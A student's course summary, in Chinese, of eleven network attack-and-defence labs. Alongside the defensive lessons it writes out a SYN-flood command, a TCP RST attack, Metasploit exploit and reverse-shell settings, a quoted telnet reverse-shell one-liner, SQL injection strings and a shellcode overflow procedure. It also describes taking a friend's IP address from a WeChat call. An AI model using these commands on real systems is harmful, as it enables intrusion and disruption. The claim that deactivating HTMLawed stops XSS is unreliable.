20242938 2024-2025-2 《网络攻防实践》课程总结

20242938 2024-2025-2 《网络攻防实践》课程总结

第一次实践 网络攻防环境的搭建

简要总结:
本次实验主要搭建了一个基于虚拟化环境的网络攻防实验平台,包括攻击机、靶机和蜜网网关等组件。通过配置VMware的网络设置,如VMnet1的仅主机模式和VMnet8的NAT模式,确保了各虚拟机之间的网络通信和对外部网络的安全访问。同时,安装并配置了多种虚拟机镜像,如Kali攻击机、SEED攻击机/靶机、Windows攻击机/靶机等,并对蜜网网关进行了详细配置,实现了对攻击行为的监控和分析功能。整个实验过程涉及了虚拟机的安装、网络配置、镜像转换等多个环节,为后续的网络攻防实验奠定了基础。

第二次实践 网络信息收集技术

本次实验主要围绕网络信息收集技术展开,通过多种工具和方法对目标域名、IP地址等信息进行查询和分析。实验内容包括查询DNS域名信息、获取好友IP地址及地理位置、使用nmap和Nessus对靶机进行扫描分析等。通过这些操作,掌握了网络信息收集的基本方法和工具使用,了解了如何获取目标系统的详细信息,为后续的网络攻防实验提供了重要的信息基础。同时,也通过搜索引擎对自己的网络足迹进行了检查,增强了网络安全意识。

第三次实践 网络嗅探与协议分析

本次实验主要围绕网络数据包捕获和分析工具的使用展开,包括tcpdump和Wireshark的实践操作,以及对网络扫描行为的取证分析。通过tcpdump捕获并分析访问百度首页时的数据包,了解了浏览器与多个Web服务器的交互过程。使用Wireshark对TELNET登录BBS的行为进行嗅探与协议分析,掌握了如何获取用户名和密码等敏感信息。此外,通过对网络扫描日志文件的分析,确定了攻击主机和目标主机的IP地址、扫描工具、扫描方法以及攻击者操作系统等关键信息,进一步加深了对网络攻击行为的理解和分析能力。

第四次实践 TCP/IP网络协议攻击

通过本次实验,深入理解了多种TCP/IP协议栈重点协议的攻击原理和实施方法。在实验过程中,成功地实现了ARP缓存欺骗攻击和TCP会话劫持攻击,但在ICMP重定向攻击中遇到了靶机系统禁用ICMP重定向接收和VMware NAT模式下网络流量过滤的问题,导致攻击未成功。这表明在实际攻击中,需要充分考虑目标系统的安全配置和网络环境的特点,选择合适的攻击方法和工具。同时,也认识到了网络安全防护的重要性,应采取相应的防护措施,如启用防火墙、配置安全策略、使用加密通信等,以防止网络攻击的发生。

第五次实践 网络安全防范技术

本次实验主要围绕防火墙配置、Snort入侵检测系统(IDS)的使用以及蜜网网关的防火墙和IDS/IPS配置规则分析展开。通过配置Linux操作系统平台上的iptables防火墙,实现了过滤ICMP数据包和限制特定IP地址访问主机的网络服务等功能;使用Snort对给定的pcap文件进行入侵检测,并对检测出的攻击进行了说明;分析了蜜网网关的防火墙和IDS/IPS配置规则,了解了其如何利用防火墙和入侵检测技术完成攻击数据捕获和控制需求。实验过程中,遇到了一些问题,如Snort无法生成日志文件,但通过修改配置文件解决了问题。通过本次实验,进一步加深了对网络安全防护技术和工具的理解和应用能力。

第六次实践 Windows操作系统安全攻防

本次实验主要包含三个部分:使用Metasploit进行Windows远程渗透攻击、对一次成功的NT系统破解攻击进行取证分析以及团队对抗实践中的Windows系统远程渗透攻击和分析。在第一部分中,通过Metasploit软件对Windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,成功获取了目标主机的访问权。第二部分通过分析日志文件,详细解码了一次成功的NT系统破解攻击过程,包括攻击者使用的工具、攻击步骤以及攻击后的操作,并探讨了如何防止此类攻击。第三部分是团队对抗实践,攻方使用Metasploit选择漏洞进行攻击,防守方使用Wireshark监听网络数据包并分析攻击过程。实验过程中,遇到了一些问题,如在分析流量包时没有头绪,但通过不断追问和总结,最终理解了流量分析的基本步骤。

第七次实践 Linux操作系统攻防

本次实验主要包含两个部分:使用Metasploit进行Linux远程渗透攻击以及攻防对抗实践。在第一部分中,通过Metasploit软件对Linux靶机上的Samba服务Usermap_script安全漏洞进行渗透攻击,成功获取了目标Linux靶机的主机访问权限。第二部分是攻防对抗实践,攻击方使用Metasploit选择漏洞进行渗透攻击,防守方则使用tcpdump/Wireshark/Snort监听网络攻击的数据包文件,并分析攻击过程。实验过程中,遇到了一些问题,如Metasploit的攻击模块可能无法完全成功利用漏洞,但通过检查模块的日志信息排查了问题。通过本次实验,深入理解了Metasploit模块的工作原理以及攻击者与防御者的角色变化。

第八次实践 恶意代码分析实践

本次实验包含两个主要任务:对恶意代码样本进行分析以及对Crackme程序进行逆向分析。在第一个任务中,通过文件类型识别、脱壳和字符串提取等操作,分析了恶意代码样本“rada”,获取了其编写作者等关键信息。第二个任务中,使用IDA Pro对Crackme程序进行静态和动态分析,寻找特定输入使其输出成功信息。此外,还对自制恶意代码样本“rada”进行了深入分析,包括文件摘要、目的、特性、防止逆向工程的技术、分类等,并对其开发作者进行了调查。同时,分析了Windows 2000系统被攻破并加入僵尸网络的案例,回答了关于IRC、僵尸网络以及蜜罐主机通信等问题。实验过程中,遇到了一些问题,如Crackme2实验中文件名问题,但通过实践解决了问题。通过本次实验,深入理解了恶意代码分析和逆向工程的基本方法和工具使用,提高了对网络安全威胁的认识和分析能力。

第九次实践 软件安全攻防--缓冲区溢出和shellcode

本次实验围绕Linux平台下的缓冲区溢出漏洞利用技术展开,设计了三个层次递进的攻击实践。实验对象为一个名为pwn1的可执行文件,包含存在漏洞的函数foo以及一个用于获取系统权限的getShell函数。实验目标分为三部分:手工修改程序流程,通过修改可执行文件中的十六进制机器码,将main函数中调用foo的指令替换为调用getShell,实现程序启动即直接提权;利用foo函数中gets()输入无长度限制的漏洞,构造精确的输入字符串覆盖返回地址,使程序返回时跳转到getShell函数,实现远程命令执行;在关闭ASLR、使栈可执行的前提下,向程序注入自定义的Shellcode,结合调试器gdb精确定位其内存位置,通过覆盖返回地址跳转到Shellcode,从而手动实现提权过程。实验过程中,遇到了一些问题,如无法打开程序、无法安装execstack、ShellCode的构造方法、无法安装gdb等,但通过查阅资料和实践解决了问题。通过本次实验,深入理解了程序控制流篡改、栈帧结构、Shellcode注入与执行等核心知识,提高了对Linux平台下缓冲区溢出漏洞利用技术的认识和应用能力。

第十次实践 Web应用程序安全攻防

本次实验主要包含两个部分:SEED SQL注入攻击与防御实验以及SEED XSS跨站脚本攻击实验。在SQL注入实验中,通过熟悉SQL语句,对SELECT和UPDATE语句进行SQL注入攻击,并学习了如何修复这些漏洞。在XSS实验中,利用Elgg Web应用程序的XSS漏洞进行了一系列攻击,包括发布恶意消息、窃取cookies、成为受害者的朋友、修改受害者的信息以及编写XSS蠕虫,并学习了如何对抗XSS攻击。实验过程中,遇到了一些问题,如无法开启Apache服务、SQL注入攻击失败等,但通过安装Apache服务、仔细检查输入等方法解决了问题。通过本次实验,深入理解了SQL注入和XSS攻击的原理及危害,掌握了防范措施,提高了对Web安全的认识和防护能力。

第十一次实践 浏览器安全攻防实践

本次实验主要包含三个部分:Web浏览器渗透攻击实验、取证分析实践以及攻防对抗实践。在Web浏览器渗透攻击实验中,使用Metasploit的MS06-014模块构造恶意网页木马脚本,成功对Windows靶机进行了浏览器渗透攻击,并通过建立的远程控制会话在靶机上执行了命令。在取证分析实践中,通过分析网页木马攻击场景,解密并下载了多个文件,分析了其中的漏洞利用代码,识别了针对不同应用程序的漏洞。在攻防对抗实践中,攻击方构造了混淆处理后的恶意URL,防守方通过提取、解混淆分析恢复了渗透代码的原始形态,并分析了其针对的漏洞。实验过程中,遇到了一些问题,如靶机无法与攻击机正常连通、二进制样本无效或被杀软清除等,但通过修改网络模式、关闭杀毒软件等方法解决了问题。

最喜欢的且做的最好的一次实践是哪次?为什么?

最喜欢第九次实验,这次实验的技术难度较高,涉及多个层次的攻击实践,从手工修改程序流程到栈溢出攻击,再到Shellcode注入与执行,每个任务都需要深入理解相关技术和原理。通过这次实验,我更加深刻地理解了网络安全的重要性。缓冲区溢出漏洞是网络安全领域的一个经典问题,通过实际操作,我看到了攻击者如何利用这些漏洞进行攻击,也体会到了防御这些攻击的难度。

课堂的收获与不足

做完所有实验之后对网络攻防有了最基本的了解,知道了一些经典的攻击手段,从基础的网络信息收集、漏洞扫描,到复杂的缓冲区溢出攻击、SQL注入、XSS攻击等,我逐步了解了多种攻击手段的原理与实施方法。
但对于攻防的理解也只停留在毛皮的程度,在实验操作过程中,暴露出一些不熟练的地方,以 Wireshark 为例,虽然能够使用基本的过滤器捕获和分析网络流量,但对于复杂的流量分析场景,如追踪特定协议的交互过程、分析加密流量等,无法快速准确地运用 Wireshark 的高级功能进行操作从而获取关键信息。

本门课学到的知识总结

第一次实验知识点

蜜网技术与实验平台搭建:蜜网技术通过构建陷阱网络,吸引攻击者并对其行为进行分析,从而提升网络安全防护能力。在虚拟化环境中搭建网络攻防实验平台,具有成本低、灵活性高的优点,适用于个人或实验室进行网络安全研究。该平台包括靶机、攻击机和蜜网网关等组件,靶机模拟真实受攻击环境,攻击机用于发起网络攻击,蜜网网关则负责攻击检测、分析与防御。
NAT模式:将靶机网端VMnet8设置为NAT模式,子网IP为192.168.200.0,子网掩码为255.255.255.128。NAT模式使靶机可以通过主机的网络连接访问外部网络,但外部网络无法直接访问靶机,既允许靶机访问外部网络,又增强了安全性。同时,修改DHCP设置中的起始IP地址与结束IP地址(起始IP地址为192.168.200.2,结束IP地址为192.168.200.120),确保IP地址分配有序,避免IP冲突或浪费。

第二次实验知识点

DNS域名信息查询:通过dig命令可以查询指定域名的DNS信息,包括DNS注册人及联系方式、域名对应的IP地址等。这些信息对于了解目标系统的网络配置和归属情况非常重要。进一步地,可以访问权威机构网站,如ARIN官网,查询IP地址注册人及联系方式、IP地址所在国家、城市和具体地理位置等详细信息。这些信息有助于全面了解目标IP地址的背景和位置情况。
好友IP地址获取及地理位置查询:可以通过一些技术手段,如给微信好友打电话并使用资源监视器检测流量,来获取好友的IP地址。然后,同样利用权威机构网站查询该IP地址所在的具体地理位置。这一过程展示了如何在实际场景中获取和分析IP地址相关的信息。
nmap扫描工具的使用:nmap是一个强大的网络扫描工具,具有多种功能。使用nmap -sP命令可以检查靶机IP地址是否活跃,通过发送ICMP请求等方式判断靶机是否处于活跃状态。使用nmap -sT和nmap -sU命令可以分别扫描靶机开放的TCP和UDP端口,了解靶机上哪些端口是开放的,从而为后续的攻击提供可能的切入点。需要注意的是,UDP端口扫描耗时较长,因为UDP协议无连接、缺乏确认机制和响应机制。使用nmap -O命令可以探测靶机操作系统及版本,通过分析靶机的TCP/IP协议栈指纹等信息,推测靶机安装的操作系统及其版本号,这对于选择合适的攻击手段具有重要意义。使用nmap -sV命令可以识别靶机上安装的服务及其版本信息,进一步了解靶机的网络服务情况。
Nessus扫描工具的使用:Nessus是一款专业的漏洞扫描工具,能够对目标系统进行全面的安全漏洞检测。安装Nessus时,需要在Kali系统中进行一系列操作,包括更新包、下载安装包、安装、启动服务等。在完成安装和配置后,可以使用Nessus新建扫描任务,查看靶机开放的端口,并检测靶机各个端口上网络服务存在的安全漏洞。这些漏洞信息对于评估靶机的安全性以及制定攻击策略至关重要。基于收集到的信息和检测到的漏洞,可以分析出攻陷靶机环境、获取系统访问权的方法,如利用Metasploit框架进行漏洞利用、提升权限、设置持久化访问方式等。

第三次实验知识点

tcpdump的使用
tcpdump是一个强大的命令行网络数据包捕获和分析工具,广泛应用于网络故障排查、安全分析和流量监控。通过安装tcpdump并使用不同的命令选项,可以实现对网络流量的捕获、保存、读取和过滤等功能。
在实验中,通过命令sudo tcpdump -i any -n src host 192.168.200.4 and "(dst port 80 or dst port 443)",捕获了本机访问百度首页时的数据包。其中,-i any表示监听所有网络接口,-n关闭DNS解析以提高效率,src host 192.168.200.4限定仅捕获本机发出的流量,dst port 80 or dst port 443限定捕获发送到目标端口80(HTTP)或443(HTTPS)的流量。
分析捕获的数据包发现,在访问百度首页时,浏览器共访问了14个不同的Web服务器,包括HTTP服务器和HTTPS服务器。这表明百度采用了负载均衡和内容分发网络(CDN)技术,将请求分发到多个服务器以提高性能和可靠性。
Wireshark的使用
Wireshark是一个功能强大的图形化网络协议分析工具,能够捕获和分析网络数据包,支持多种网络协议的解码和分析。通过安装Wireshark并选择合适的网络接口,可以开始捕获网络流量。
在实验中,通过设置捕获过滤器port 23,仅捕获与TELNET协议相关的数据包。然后,使用命令luit -encoding gbk telnet bbs.mysmth.net登录清华大学BBS,观察Wireshark捕获的数据包。
分析捕获的数据包发现,登录的BBS服务器的IP地址为120.92.212.76,端口为23。由于TELNET协议是明文传输,没有加密,因此可以通过Wireshark分析数据包内容,获取用户名和登录口令等敏感信息。这一过程展示了网络通信中明文传输协议的安全风险,强调了使用加密协议(如SSH)的重要性。
取证分析实践
使用Wireshark打开网络扫描日志文件listen.cap,通过过滤器ip.src查看所有源IP地址,分析异常的IP地址行为。发现攻击者IP为172.31.4.178,被攻击的IP地址为172.31.4.188。
通过安装snort工具并修改相关规则,分析日志文件确定攻击者采用的攻击方式为Nmap XMAS扫描。XMAS扫描通过发送带有URG、PUSH和FIN标志位的TCP数据包,试图诱导目标主机回复不同的响应,以此来判断端口是否开放。这种扫描方法发出的数据包可能会被防火墙或IDS忽视,因为它看起来像是一个已经终止的连接。
分析日志文件发现,攻击者扫描的目标端口为1和21,其中端口1通常用于某些基础服务,端口21为FTP服务端口。通过p0f工具分析攻击者的操作系统为Linux 2.6.x。

第四次实验知识点

ARP缓存欺骗攻击:ARP缓存欺骗攻击利用了ARP协议无认证机制的弱点,攻击者通过伪造ARP响应包,声称自己的MAC地址对应受害者的IP或网关的IP,从而篡改目标设备的ARP缓存表。这种攻击可以实现中间人攻击,使流量被劫持到攻击者机器,便于监听或篡改数据;也可以导致拒绝服务,通过虚假ARP响应使网络通信中断。实施攻击时,首先需要开启攻击机的IP转发功能,以避免靶机断网;然后查询网关MAC地址,接着使用arpspoof工具分别欺骗靶机和网关,使它们认为攻击机是对方;最后通过在靶机上执行arp -a命令,查看网关的MAC地址是否被篡改为攻击机的MAC地址,以验证攻击是否成功。

ICMP重定向攻击:ICMP重定向攻击利用ICMP协议的类型5(重定向报文),欺骗目标主机修改其路由表,将流量转发到攻击者指定的恶意路由。正常情况下,路由器用ICMP重定向优化网络路径,但攻击者可以伪造ICMP重定向报文,强制目标将流量发送到攻击者控制的节点。实施攻击时,需要开启攻击机的IP转发功能,然后使用工具(如scapy)伪造ICMP重定向报文,通知靶机将流量发送到攻击机,并持续发送伪造的ICMP重定向包,使靶机不断接收到重定向指令。验证攻击是否成功时,需要在靶机上临时允许接收重定向,然后使用traceroute命令观察流量是否经过攻击机。然而,在实验中,由于靶机系统禁用了ICMP重定向接收,以及在VMware NAT模式下,虚拟机的网络流量会经过宿主机的NAT转换层,导致ICMP重定向包被过滤,无法到达靶机,使得攻击未成功。

SYN Flood攻击:SYN Flood攻击是一种典型的DoS/DDoS攻击,利用TCP协议的三次握手缺陷。攻击者发送大量SYN包到目标服务器,服务器回应SYN-ACK并等待客户端ACK,但攻击者不完成握手,导致服务器资源耗尽,从而无法正常处理合法的连接请求。实施攻击时,使用hping3工具发送大量SYN包到目标服务器的特定端口,通过命令sudo hping3 -S -p 80 --flood --rand-source 192.168.200.5实现攻击。在靶机端,使用watch -n 1 "netstat -antp | grep 'SYN_RECV' | wc -l"命令实时监控半开TCP连接数,以检测SYN Flood攻击的效果。这种攻击可以有效地使目标服务器的网络资源被大量占用,导致正常用户无法访问服务。
TCP RST攻击:TCP RST攻击通过发送TCP RST(重置)包,强制中断目标主机与服务器之间的TCP连接。这种攻击可以利用TCP协议的特性,通过伪造RST包来破坏正常的通信会话。实施攻击时,在ARP实验的基础上,使用netwox工具发起TCP RST攻击,通过命令sudo netwox 78 -i 192.168.200.5使靶机无法访问网站。这种攻击可以有效地中断目标主机与服务器之间的连接,导致通信中断,从而影响正常的服务使用。

TCP会话劫持攻击:TCP会话劫持攻击是一种高级的网络攻击技术,攻击者通过预测或窃取TCP序列号,伪造数据包冒充合法通信方接管会话。这种攻击技术依赖于对TCP协议的深入理解和对网络流量的精确控制,防御需依赖加密通信和协议强化。实施攻击时,首先打开Metasploitable和seed虚拟机,并确保网络是通的;然后在kali端进行截获,通过工具(如ettercap)扫描主机、选择目标、启动ARP欺骗、开始嗅探等操作;接着在seed端发起登录请求(如使用telnet登录),在kali端找到相关数据包,查看详细信息获取用户名和密码等敏感信息。这种攻击可以有效地获取目标会话中的敏感信息,从而实现对目标系统的进一步攻击。

第五次实验知识点

防火墙配置:防火墙是网络安全的重要组成部分,通过设置规则来控制网络流量的进出。在Linux操作系统平台上,iptables是一个强大的防火墙工具,可以灵活地配置各种规则。本次实验中,首先检查了iptables是否安装,并查看了当前的防火墙规则。为了实现过滤ICMP数据包,使得主机不接收Ping包的功能,添加了一条规则sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP,该规则将丢弃所有进入主机的ICMP echo-request数据包,从而阻止其他机器对主机进行Ping操作。测试结果表明,该规则生效,Windows攻击机和Kali攻击机都无法Ping通主机。接着,为了只允许特定IP地址访问主机的某一网络服务,添加了另一条规则sudo iptables -I INPUT -p icmp -s 192.168.200.4 --icmp-type echo-request -j ACCEPT,该规则允许IP地址为192.168.200.4的机器发送ICMP echo-request数据包,而其他IP地址的机器则无法访问。测试结果验证了该规则的有效性,Kali攻击机可以Ping通主机,而Windows攻击机则不行。通过这些实验操作,掌握了iptables防火墙的基本配置方法,了解了如何通过设置规则来控制网络流量,从而增强系统的安全性。
Snort入侵检测系统的使用:Snort是一款广泛使用的网络入侵检测系统,能够实时监测网络流量,检测并报告潜在的攻击行为。在本次实验中,首先检查了Snort是否已经安装,并尝试使用Snort对给定的pcap文件进行入侵检测。然而,在初次运行时,发现Snort没有生成任何报警日志。经过分析,发现问题出在Snort的配置文件上。通过修改配置文件/etc/snort/snort.lua,将alert_fast的配置从默认值修改为alert_fast = { file = true, limit = 64 },使得Snort能够生成日志文件。再次运行Snort后,在指定的日志目录/var/log/snort/下成功生成了日志文件,日志内容记录了检测到的攻击信息。通过这个过程,了解了Snort的基本运行机制和配置方法,学会了如何通过修改配置文件来调整Snort的行为,以便更好地满足实验需求。同时,也认识到了在使用Snort进行入侵检测时,配置文件的正确设置至关重要,它直接影响到Snort是否能够准确地检测和报告攻击事件。
蜜网网关的防火墙和IDS/IPS配置规则分析:蜜网是一种用于吸引和监测攻击行为的网络安全技术,通过设置诱饵主机和网络环境,引诱攻击者进行攻击,从而收集攻击信息,为安全研究和防御策略制定提供依据。在本次实验中,分析了蜜网网关的防火墙和IDS/IPS配置规则。通过查看/etc/init.d/rc.firewall文件,了解到蜜网网关的防火墙配置主要包括以下几个方面:create_chains函数定义了程序中的核心规则,包括黑名单(BlackList)、白名单(WhiteList)、受保护地址列表(FenceList)以及针对不同协议的策略规则(xxxHandler)。这些规则共同构成了蜜网网关的防火墙策略,用于屏蔽恶意流量、确保特定流量的正常通过以及实现安全防护策略。进一步查看iptables -L的输出,详细分析了蜜网网关的防火墙规则:在INPUT链中,设置了默认策略为DROP,仅允许特定的入站流量,如从192.168.200.0/25进入的SSH和HTTPS流量,以及已建立和相关的连接;在FORWARD链中,同样设置了默认策略为DROP,仅允许特定目标IP的流量,并记录新建的TCP、UDP和ICMP连接,同时DROP了到特定主机的UDP流量;在OUTPUT链中,限制了蜜网主机向外部发送数据,仅允许常见的协议流量和已建立的合法会话继续进行。此外,还分析了蜜网网关的IDS/IPS配置,了解到其通过防火墙和IDS/IPS协同工作,实现攻击数据的捕获和控制。防火墙负责流量重定向、黑白名单管理和伪装等,而IDS/IPS则负责攻击检测、日志分析和自动响应等。这种协同工作机制使得蜜网网关能够有效地引诱、监测和记录攻击行为,并根据攻击情况动态调整策略,为安全研究和攻防演练提供了有价值的数据支撑。通过这次分析,深入理解了蜜网网关的防火墙和IDS/IPS配置规则,掌握了其如何利用这些规则实现攻击数据捕获和控制的原理和方法。

第六次实验知识点

使用Metasploit进行Windows远程渗透攻击:Metasploit是一个功能强大的渗透测试框架,广泛用于网络安全评估和漏洞利用。本次实验中,使用Windows攻击机上的Metasploit对Windows Metasploitable靶机的MS08-067漏洞进行了远程渗透攻击。首先,通过msfconsole进入Metasploit的命令行界面,使用search ms08_067查找漏洞相关信息。MS08-067是一个高危的远程代码执行漏洞,影响多个Windows系统版本,攻击者可以通过特制的RPC请求远程触发该漏洞,无需认证即可执行任意代码。接着,使用use exploit/windows/smb/ms08_067_netapi选择漏洞利用模块,并通过show options查看需要设置的参数。设置靶机IP(set RHOST)、攻击机IP(set LHOST)以及攻击成功后执行的代码(set payload),其中windows/meterpreter/reverse_tcp是一个常用的payload,它通过反向TCP连接使目标主机主动连接攻击者的监听端口,从而绕过防火墙限制。设置完成后,通过exploit命令发起攻击,成功建立Meterpreter会话,获取了靶机的访问权。Meterpreter是一个高级的后渗透工具,提供了内存注入、隐蔽执行等强大功能,可用于进一步控制和分析目标系统。通过sysinfo获取靶机信息,getsystem提升权限,ipconfig查看靶机IP信息等操作,进一步了解和控制了目标系统。
取证分析实践:解码一次成功的NT系统破解攻击:取证分析是网络安全中的重要环节,通过对攻击过程的详细分析,可以了解攻击者的手段和意图,从而采取有效的防御措施。本次实验中,分析了一次来自213.116.251.162的攻击者对蜜罐主机172.16.1.106的攻击过程。使用Wireshark打开日志文件,并通过过滤器ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106对数据包进行过滤,初步定位可疑流量。分析发现,攻击者利用了Unicode攻击访问boot.ini文件,以确认系统版本,并通过RDS漏洞进行了SQL注入攻击。RDS(Remote Data Service)是一个旧版的IIS组件,存在多个安全漏洞,包括CVE-2000-0413 MDAC RDS数据通道远程执行漏洞。攻击者通过构造特殊的HTTP POST请求,利用该漏洞远程执行任意SQL语句,从而在目标系统上执行命令。例如,攻击者执行了命令cmd /c echo werd >> c:\fun,表明其已经能够写入系统任意位置并执行任意命令。攻击者还利用MSADC COM接口查询了数据库中的敏感数据,如CustomerID、ContactFirstName等。为了防止此类攻击,建议立即删除或禁用msadcs.dll接口,升级系统至不再默认启用RDS的版本,使用WAF或IDS阻止恶意请求,回溯日志检查是否有用户被创建或其他命令被执行,修复暴露的MDB文件与权限等。此外,分析还发现攻击者可能已经警觉到目标是一台蜜罐主机,因为在数据包中发现了典型的“诱饵信息”,这些信息旨在诱使攻击者进入系统并交互,从而记录其行为特征。
团队对抗实践:Windows系统远程渗透攻击和分析:团队对抗实践是网络安全教育中的重要环节,通过模拟真实的攻防场景,提高学生的实战能力和团队协作能力。本次实验中,攻方使用Kali Linux攻击机,防守方使用Wireshark进行监听。攻方通过Metasploit选择漏洞进行攻击,防守方则通过Wireshark监听网络数据包并分析攻击过程。在攻击过程中,攻方成功利用了MS08-067漏洞,获取了目标主机的访问权,并在防守方的系统上创建了文件。防守方通过在Wireshark中设置过滤器tcp.port == 4444,定位到反向Shell攻击的TCP端口,并通过跟踪TCP流,详细分析了攻击的行为。这一过程不仅展示了攻击者如何利用漏洞进行攻击,也展示了防守者如何通过网络监听和数据分析来识别和应对攻击。通过这次实践,双方都对网络安全攻防有了更深入的理解和实践经验。

第七次实验知识点

使用Metasploit进行Linux远程渗透攻击:Metasploit是一个功能强大的渗透测试框架,广泛用于网络安全评估和漏洞利用。本次实验中,使用Kali Linux攻击机上的Metasploit对Linux靶机的Samba服务Usermap_script安全漏洞进行了远程渗透攻击。首先,启动Metasploit软件,通过msfconsole进入命令行界面。接着,使用use exploit/multi/samba/usermap_script选择针对Samba服务的渗透攻击模块。该模块利用Samba服务中的Usermap_script漏洞,通过特制的请求在目标系统上执行任意代码。然后,选择攻击PAYLOAD为远程shell(set payload payload/cmd/unix/reverse),设置攻击参数(set LHOST为攻击机IP,set RHOST为目标靶机IP),并执行渗透攻击(exploit)。成功后,获得了一个命令shell会话,通过输入shell命令得到一个更完整的Shell,进一步执行ifconfig和whoami命令,分别获取目标机器的IP信息和当前用户权限。这一过程展示了如何利用Metasploit框架快速定位并利用目标系统中的漏洞,获取系统访问权限。
攻防对抗实践:本次实验中,攻击方使用Metasploit选择漏洞进行渗透攻击,防守方则使用tcpdump/Wireshark/Snort监听网络攻击的数据包文件,并分析攻击过程。攻击方重复了任务一的步骤,成功攻击目标靶机,并在/usr/目录下新建文件nihao.txt。防守方通过Wireshark对攻击进行监听,使用过滤器ip.addr == 192.168.200.123 && ip.addr==192.168.200.4对流量包进行初步过滤,定位到攻击者的IP(192.168.200.4)、目标IP(192.168.200.123)以及攻击时间。通过跟踪TCP流,分析攻击者利用SMB协议和命令注入,尝试在受害系统上执行远程命令,并通过telnet反向连接到攻击者主机的过程。攻击者使用的命令nohup sh -c '(sleep 4259|telnet 192.168.200.4 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.4 4444 >/dev/null 2>&1 &)'表明其正在尝试建立持久化连接,以便进一步控制目标系统。防守方通过分析网络流量,成功识别了攻击行为,并获取了攻击者的相关操作信息,如在/usr/dhn目录下创建文件nihao.txt。这一过程不仅展示了攻击者如何利用漏洞进行攻击,也展示了防守者如何通过网络监听和数据分析来识别和应对攻击。

第八次实验知识点

恶意代码样本分析:在对“rada”恶意代码样本进行分析时,首先通过文件格式和类型识别工具确定了其文件格式为PE32,运行平台为x86架构的Windows系统,并且发现文件经过加壳处理。为了进一步分析,使用超级巡警脱壳机对样本进行了脱壳处理,随后利用字符串提取工具对脱壳后的样本进行分析,发现了函数调用名以及其他字符串,最终通过IDA Pro分析找到了恶意代码的编写作者。这一过程展示了如何通过一系列工具和技术逐步深入分析恶意代码样本,从基本的文件识别到脱壳和字符串提取,最终获取关键信息。
自制恶意代码样本深入分析:在对自制恶意代码样本“rada”进行深入分析时,首先通过md5sum等工具获取了文件的哈希值,为识别同一样本提供了基本信息。接着,通过运行程序并结合网络流量分析,发现该恶意代码执行了远程攻击,与特定IP通信,并在靶机上创建文件夹,尝试建立TCP连接。进一步分析发现,该恶意代码通过HTTP请求访问攻击指令,绕过本地检查;添加注册表自启项提升权限;解析远程指令发动DDoS攻击。此外,该程序使用UPX加壳保护程序,并添加注册表开机自启动,以防止被分析或逆向工程。最终,将该程序分类为后门程序,因为它自动运行并从指定IP获取攻击指令并执行。通过分析,还找到了与Conficker等已知恶意软件具有相似功能的工具,并调查到了作者信息,包括作者名称和开发年份。

第九次实验知识点

手工修改可执行文件以改变程序执行流程:实验的第一个任务是通过直接修改可执行文件的机器码来改变程序的执行流程,使其在启动时直接跳转到getShell函数。这需要对程序的汇编代码有深入的理解,特别是如何识别和修改函数调用指令。通过使用objdump工具反汇编程序,找到了main函数中调用foo函数的指令,并计算出需要的偏移量来替换为调用getShell函数的指令。然后,使用VSCode的Hex editor插件对可执行文件进行修改,将调用foo的指令中的偏移量从d7ffffff改为c3ffffff。这一修改使得程序在启动时直接跳转到getShell函数,从而立即获取Shell权限。这个过程不仅展示了对程序执行流程的直接控制,还强调了对汇编语言和机器码操作的深入理解。
利用栈溢出漏洞触发getShell函数:实验的第二个任务是利用foo函数中的缓冲区溢出漏洞,通过构造一个精心设计的输入字符串来覆盖返回地址,从而触发getShell函数。foo函数中的gets函数由于没有对输入长度进行限制,导致了栈溢出的可能性。通过分析foo函数的汇编代码,计算出缓冲区的起始地址和返回地址的位置,确定了需要的填充长度。然后,构造了一个包含32字节填充和getShell函数地址的Payload。使用Perl脚本生成这个Payload,并将其保存到文件中。通过将这个文件的内容作为程序的输入,成功地覆盖了返回地址,使得程序在执行完毕后跳转到getShell函数,从而实现了远程命令执行。这个过程不仅展示了对栈溢出漏洞的利用,还强调了对栈帧结构和内存布局的理解。
注入并运行自定义Shellcode:实验的第三个任务是在关闭ASLR和使栈可执行的前提下,向程序注入自定义的Shellcode并运行它。这需要对Shellcode的编写和注入技术有深入的了解。首先,通过安装execstack工具并设置堆栈为可执行状态,关闭ASLR来简化攻击环境。然后,编写了一段位置无关的汇编代码,调用execve("/bin/sh", NULL, NULL)来获取Shell权限。通过编译和提取机器码,得到了Shellcode。接着,使用Perl脚本生成了一个包含填充、目标地址和Shellcode的Payload,并将其保存到文件中。通过将这个文件的内容输入到程序中,并结合gdb调试器精确定位Shellcode的内存位置,成功地覆盖了返回地址,使得程序跳转到Shellcode并执行,从而手动实现了提权过程。这个过程不仅展示了对Shellcode注入和执行的深入理解,还强调了对调试工具的使用和内存操作的掌握。

第十次实验知识点

SEED SQL注入攻击与防御实验:实验的第一个部分是SQL注入攻击与防御。首先,通过熟悉SQL语句,了解了如何使用数据库进行查询。然后,针对Web应用程序的SELECT和UPDATE语句进行了SQL注入攻击。对于SELECT语句的攻击,通过构造恶意输入Admin'#,利用SQL语句中的单引号和注释符号#,绕过了密码校验,直接进入了管理员页面。对于UPDATE语句的攻击,通过构造输入内容', Salary='20242938' where name='Alice'; #,注入了恶意的SQL语句,实现了对数据库的非法更新。为了修复这些漏洞,使用了预处理SQL语句,通过prepare()方法创建带有占位符的SQL查询模板,并使用bind_param()方法将用户输入绑定到查询参数上,从而防止了SQL注入攻击。通过这些操作,不仅学会了如何利用SQL注入漏洞进行攻击,还掌握了如何通过参数化查询来防范SQL注入攻击。
SEED XSS跨站脚本攻击实验:实验的第二个部分是XSS跨站脚本攻击。在Elgg Web应用程序中,利用XSS漏洞进行了一系列攻击。首先,通过发布恶意消息,展示了如何在用户查看配置文件时执行JavaScript程序并显示警报窗口。接着,通过弹窗显示cookie信息,窃取了受害者的cookies,并将cookie发送给攻击者。此外,还通过JavaScript程序自动将受害者添加为朋友,无需受害者干预。进一步,通过修改受害者的信息,实现了在访问特定页面时自动修改受害者资料的功能。最终,编写了一个XSS蠕虫,实现了在不同用户之间感染传播。为了对抗XSS攻击,通过登录管理员账号,将HTMLawed插件设为Deactivate状态,对用户的输入输出进行校验并去除特定标签,从而有效阻止了XSS攻击。通过这些实验操作,不仅学会了如何利用XSS漏洞进行攻击,还掌握了如何通过输入过滤和HTML编码来防范XSS攻击。

第十一次实验知识点

